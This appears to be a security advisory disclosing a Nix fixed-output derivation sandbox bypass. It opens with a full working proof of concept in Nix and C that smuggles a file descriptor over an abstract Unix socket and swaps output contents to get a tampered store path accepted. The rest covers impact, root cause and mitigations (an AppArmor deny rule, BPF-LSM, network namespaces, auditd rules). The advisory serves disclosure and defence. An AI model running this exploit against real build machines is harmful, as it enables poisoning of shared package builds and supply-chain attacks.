# FOD sandbox bypass

## Original report

# Nix is a sandboxed build system. But Not everything can be handled inside its
# sandbox: Network access is normally blocked off, but to download sources, a
# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
# The detail here is not important, but in our case it means that the hash of
# the output has to be known beforehand. And if you know that, you get a few
# rights: you no longer run inside a special network namespace!
#
# Now, Linux has a special feature, that not many other unices do: Abstract
# unix domain sockets! Not only that, but those are namespaced using the
# network namespace! That means that we have a way to create sockets that are
# available in every single fixed-output derivation, and also all processes
# running on the host machine! Now, this wouldn't be that much of an issue, as,
# well, the whole idea is that the output is pure, and all processes in the
# sandbox are killed before finalizing the output. What if we didn't need those
# processes at all? Unix domain sockets have a semi-known trick: you can pass
# file descriptors around! Now, my first thought was "what if you open($out,
# O_PATH) and pass that out of the sandbox?", but then edef came up with
# something way easier: just pass an open file descriptor for the output to the
# outside world!
#
# Let's set up some code, and I'll see you on the other side!
{ pkgs ? import <nixpkgs> { } }: let

    # Let's write a small C file, inline to this Nix code.
    sender = pkgs.writeCBin "sender" ''
      #include <sys/socket.h>
      #include <sys/un.h>
      #include <stdlib.h>
      #include <stddef.h>
      #include <stdio.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <errno.h>

      int main(int argc, char **argv) {
          int sock = socket(AF_UNIX, SOCK_STREAM, 0);

          // Set up a abstract domain socket path to connect to.
          struct sockaddr_un data;
          data.sun_family = AF_UNIX;
          data.sun_path[0] = 0;
          strcpy(data.sun_path + 1, "dihutenosa");

          // Now try to connect, To ensure we work no matter what order we are
          // executed in, just busyloop here.
          int res = -1;
          while (res < 0) {
              res = connect(sock, (const struct sockaddr *)&data,
                  offsetof(struct sockaddr_un, sun_path)
                    + strlen("dihutenosa")
                    + 1);
              if (res < 0 && errno != ECONNREFUSED) perror("connect");
              if (errno != ECONNREFUSED) break;
          }

          // Write our message header.
          struct msghdr msg = {0};
          msg.msg_control = malloc(128);
          msg.msg_controllen = 128;

          // Write an SCM_RIGHTS message containing the output path.
          struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
          hdr->cmsg_len = CMSG_LEN(sizeof(int));
          hdr->cmsg_level = SOL_SOCKET;
          hdr->cmsg_type = SCM_RIGHTS;
          int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
          memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));

          msg.msg_controllen = CMSG_SPACE(sizeof(int));

          // Write a single null byte too.
          msg.msg_iov = malloc(sizeof(struct iovec));
          msg.msg_iov[0].iov_base = "";
          msg.msg_iov[0].iov_len = 1;
          msg.msg_iovlen = 1;

          // Send it to the othher side of this connection.
          res = sendmsg(sock, &msg, 0);
          if (res < 0) perror("sendmsg");
          int buf;

          // Wait for the server to close the socket, implying that it has
          // received the commmand.
          recv(sock, (void *)&buf, sizeof(int), 0);
      }
    '';

    # Okay, so we have a file descriptor shipped out of the FOD now. But the
    # Nix store is read-only, right? .. Well, yeah. But this file descriptor
    # lives in a mount namespace where it is not! So even when this file exists
    # in the actual Nix store, we're capable of just modifying its contents...
    # But that's not all! We're able to abuse another misfeature of Nix to do
    # this all without even corrupting the store! That's right, a fixed-output
    # derivation whose hash doesn't match the actual contents!
    smuggler = pkgs.writeCBin "smuggler" ''
      #include <sys/socket.h>
      #include <sys/un.h>
      #include <stdlib.h>
      #include <stddef.h>
      #include <stdio.h>
      #include <unistd.h>
      #include <sys/inotify.h>

      int main(int argc, char **argv) {
          int sock = socket(AF_UNIX, SOCK_STREAM, 0);

          // Bind to the socket.
          struct sockaddr_un data;
          data.sun_family = AF_UNIX;
          data.sun_path[0] = 0;
          strcpy(data.sun_path + 1, "dihutenosa");
          int res = bind(sock, (const struct sockaddr *)&data,
              offsetof(struct sockaddr_un, sun_path)
              + strlen("dihutenosa")
              + 1);
          if (res < 0) perror("bind");

          res = listen(sock, 1);
          if (res < 0) perror("listen");

          while (1) {
              int a = accept(sock, 0, 0);
              if (a < 0) perror("accept");

              struct msghdr msg = {0};
              msg.msg_control = malloc(128);
              msg.msg_controllen = 128;

              // Receive the file descriptor as sent by the smuggler.
              recvmsg(a, &msg, 0);

              struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
              while (hdr) {
                  if (hdr->cmsg_level == SOL_SOCKET
                   && hdr->cmsg_type == SCM_RIGHTS) {
                      int res;

                      // Grab the copy of the file descriptor.
                      memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
                      printf("preparing our hand...\n");

                      ftruncate(res, 0);
                      // Write the expected contents to the file, tricking Nix
                      // into accepting it as matching the fixed-output hash.
                      write(res, "hello, world\n", strlen("hello, world\n"));

                      // But wait, the file is bigger than this! What could
                      // this code hide?

                      // First, we do a bit of a hack to get a path for the
                      // file descriptor we received. This is necessary because
                      // that file doesn't exist in our mount namespace!
                      char buf[128];
                      sprintf(buf, "/proc/self/fd/%d", res);

                      // Hook up an inotify on that file, so whenever Nix
                      // closes the file, we get notified.
                      int inot = inotify_init();
                      inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);

                      // Notify the smuggler that we've set everything up for
                      // the magic trick we're about to do.
                      close(a);

                      // So, before we continue with this code, a trip into Nix
                      // reveals a small flaw in fixed-output derivations. When
                      // storing their output, Nix has to hash them twice. Once
                      // to verify they match the "flat" hash of the derivation
                      // and once more after packing the file into the NAR that
                      // gets sent to a binary cache for others to consume. And
                      // there's a very slight window inbetween, where we could
                      // just swap the contents of our file. But the first hash
                      // is still noted down, and Nix will refuse to import our
                      // NAR file. To trick it, we need to write a reference to
                      // a store path that the source code for the smuggler drv
                      // references, to ensure it gets picked up. Continuing...

                      // Wait for the next inotify event to drop:
                      read(inot, buf, 128);

                      // first read + CA check has just been done, Nix is about
                      // to chown the file to root. afterwards, refscanning
                      // happens...

                      // Empty the file, seek to start.
                      ftruncate(res, 0);
                      lseek(res, 0, SEEK_SET);

                      // We swap out the contents! Put in a reference for the other drv,
                      // to make sure the CA flag gets wiped(!)
                      write(res, "goodbye, world, ${mock}\n", strlen("goodbye, world, ${mock}\n"));
                      close(res);

                      printf("swaptrick finished, now to wait..\n");
                      return 0;
                  }

                  hdr = CMSG_NXTHDR(&msg, hdr);
              }
              close(a);
          }
      }
    '';

    # That store path mentioned above? That's this one :)
    mock = builtins.toFile "mock" "mock";

    # To make debugging easier, we append the current time in seconds to the
    # drv's names, to ensure we have to rebuild them every single time.
    t = builtins.toString builtins.currentTime;

    # And now to run the server:
    smugglerCaller = pkgs.runCommandNoCC "caller-${t}" {
      outputHashMode = "flat";
      outputHashAlgo = "sha256";
      outputHash = builtins.hashString "sha256" "";
    } ''
      ${smuggler}/bin/smuggler

      # Make sure we don't error out on exit.
      touch $out
    '';

    # Run the client side, or socket sender.
    smugglerSender = pkgs.runCommandNoCC "magic-${t}" {
      # look ma, no tricks!
      outputHashMode = "flat";
      outputHashAlgo = "sha256";
      outputHash = builtins.hashString "sha256" "hello, world\n";
    } ''
      # ${mock} is now a dependency of this drv.
      exec ${sender}/bin/sender
    '';

    glue = pkgs.runCommandNoCC "glue" { } ''
      if grep "goodbye" ${smugglerSender}; then
        echo "swaptrick success, yay"
        echo "try running nix-store --verify-path ${smugglerSender} :)"
      else
        echo "swaptrick failed :("
      fi
      echo ${smugglerSender} > $out
      # ${smugglerCaller} to make sure we have both as a dep, so building one drv builds both
    '';
in glue

## Impact

Severe. This bug would permit, in theory, if two malicious FODs are scheduled around the same time on the same Hydra builder, to poison the next version of the bash sources, for instance.

Do note that since some version of Nix after 2.3, this is no longer as severe an issue: You can no longer race the daemon to convince it to remove the CA flag from a CA output (and thus have it be considered non-corrupted if `nix-store --verify` is run)

## Root cause

Abstract Unix sockets are namespaced using network namespace, allowing processes to send each other fds if they are simply in the same net namespace, without any filesystem in common.

## Mitigation

There are three possible mitigations. We consider that FODs communicating with each other is uninteresting, because they can just use TCP; the offensive part is sending file handles amongst themselves.

### Block abstract unix sockets

This is the most surgical solution, and probably reduces the number of breakages this would cause, especially if we only apply the blocking to FODs, which already shouldn't be doing much other than just fetching from the network.

Advantages:
- Surgically blocks just the thing we care about.
- Doesn't change how derivations are executed

Disadvantages:
- This bug is a brilliant excuse to sandbox FODs harder by putting them in a net namespace and making the default configuration not accept less sandboxing.
- Easier to miss some way to exploit the bug, although I cannot think of one, since this is literally the job of a LSM.
- Requires root (I would at least imagine?!)

The approaches to do this all involve a Linux Security Module (LSM); seccomp cannot do this by design, since the argument of the socket address is a pointer. However, there is a LSM hook that does get the data, directly on bind(2) entry: https://github.com/torvalds/linux/blob/5db8752c3b81bd33a549f6f812bab81e3bb61b20/net/socket.c#L1833-L1854.

There are two viable LSMs that can be used to restrict this functionality:

#### AppArmor

AppArmor is definitely the older of the available LSMs.

This could be achieved with the following rule:

deny unix addr=@**,

Sounds trivial?

Well.

Consider how the container implementations do it:
- https://github.com/containerd/containerd/blob/main/internal/cri/server/container_create_linux.go#L190
- https://github.com/opencontainers/runc/blob/02120488a4c0fc487d1ed2867e901eeed7ce8ecf/libcontainer/apparmor/apparmor_linux.go#L58

In short, they write a file to `/etc/apparmor.d` of the outer system, run `apparmor_parser -Kr` to load the new profile. Then after fork prior to `exec`, put the new profile name in `/proc/self/attr/apparmor/exec` (through `aa_change_onexec` or otherwise), and `execve`.

The significant problem here is that Nix would have to own part of `/etc/apparmor.d`, which is some rather ugly mutable state in `/etc` shared with the rest of the system. We could either add it as a static file in a package or write it at runtime, both of which are not easy for Nix to do.

To add a profile there, we would have to silently reload apparmor profiles behind the sysadmin's back; in principle this is not too unsafe but it feels gross. Also, we would depend on the apparmor userspace tools, which is somewhat unfortunate.

#### BPF-LSM

Systemd uses this for various sandboxing, and it seems viable. It can be attached to one single cgroup, and it doesn't have any ugly userspace state.

I haven't checked precisely, but I think it's likely it works back to kernel 6.0, which is relatively quite far back; certainly it's available on the latest LTS kernel.

Here's an example blog post: https://kinvolk.io/blog/2021/04/extending-systemd-security-features-with-ebpf/

Here is basically the actual code that would be required, but not cgroupified due to "that seems like a pain to write the string manipulation necessary into a PoC in C": https://gist.github.com/lf-/bf569280dfc7f863fe274bc3def65e3d
To make it work with cgroups, you would have to do the following:
- Replace "lsm/" with "lsm_cgroup"
- Replace the attachment procedure to manually attach the programs
- attach with `struct bpf_link *
bpf_program__attach_cgroup(const struct bpf_program *prog, int cgroup_fd)`: ` skel->links.socket_bind = bpf_program__attach_cgroup(skel->progs.socket_bind, cg_fd);`

Advantages:
- Very clean userspace implementation, doesn't touch the system except in ephemeral ways
- Can expand this infrastructure to improve sandboxing as a whole in a very flexible way

Disadvantages:
- Less than 5 years old. May not have support on ancient distros.
- Would have to stabilize cgroups integration in Nix and turn it on by default to use cgroup LSM

#### Tomoyo

Can also do this, but isn't built into at least the archlinux kernel so isn't really viable.

### Put the FOD builder in a netns

This can be done with `slirp4netns`, which sticks the container in NAT (with IPv6 support). Note that there are a couple of caveats; for example, `/etc/resolv.conf` needs to be set up in the container.

Example code in my project Clipper: https://github.com/lf-/clipper/blob/main/crates/wire_blahaj/src/unprivileged.rs#L279

Advantages:
- Pretty easy to implement
- More or less cannot leave any holes while doing it
- Does not require root for suitable sandboxing

Disadvantages:
- Substantive change to the FOD sandbox execution environment; FODs see different IP addresses, DNS works slightly differently
- Might break particularly weird use cases, but imo those should probably not be doing this anyway.
- Blocks incoming connections to FODs, but who needs that, [fetchtorrent](https://github.com/NixOS/nixpkgs/pull/212930)?

### Neutralize the effect of FD smuggling

Another way to mitigate this is to make it so that the exploit doesn't achieve anything. We could do this by copying the output paths after the builder is done, but before hashing.

Thus, any retained handles have no effect, since we are hashing something that the now-former builder has no access to.

This should probably be done anyway regardless of other mitigations.

Advantages:
- Changes nothing at all about how derivations are built
- We probably should be doing this anyway to better isolate the builder

Disadvantages:
- Performance cost of copying every output, though this may be varying levels of trivial depending on the filesystem. For huge tarballs of tiny files like nixpkgs this might be quite bad.

# Finding current usage

It might be a good idea to figure out how much people are actually using abstract namespace Unix sockets to see if we would be breaking anyone if we banned them in FOD.

We could use auditd on Hydra and audit all unix socket bind/connect, then analyze the audit logs:

-a always,exit -F arch=b64 -S bind -F saddr_fam=1 -k unix_bind
-a always,exit -F arch=b64 -S connect -F saddr_fam=1 -k unix_bind

which can then be analyzed like so; 010000 at the start of the address in the log is an anonymous Unix socket

In [2]: unhx('0100002F686178')
Out[2]: b'\x01\x00\x00/hax'

In [3]: unhx('01002F72756E2F757365722F313030302F416C616372697474792D7761796C616E642D302D3135363132362E736F636B00')
   ...:
Out[3]: b'\x01\x00/run/user/1000/Alacritty-wayland-0-156126.sock\x00'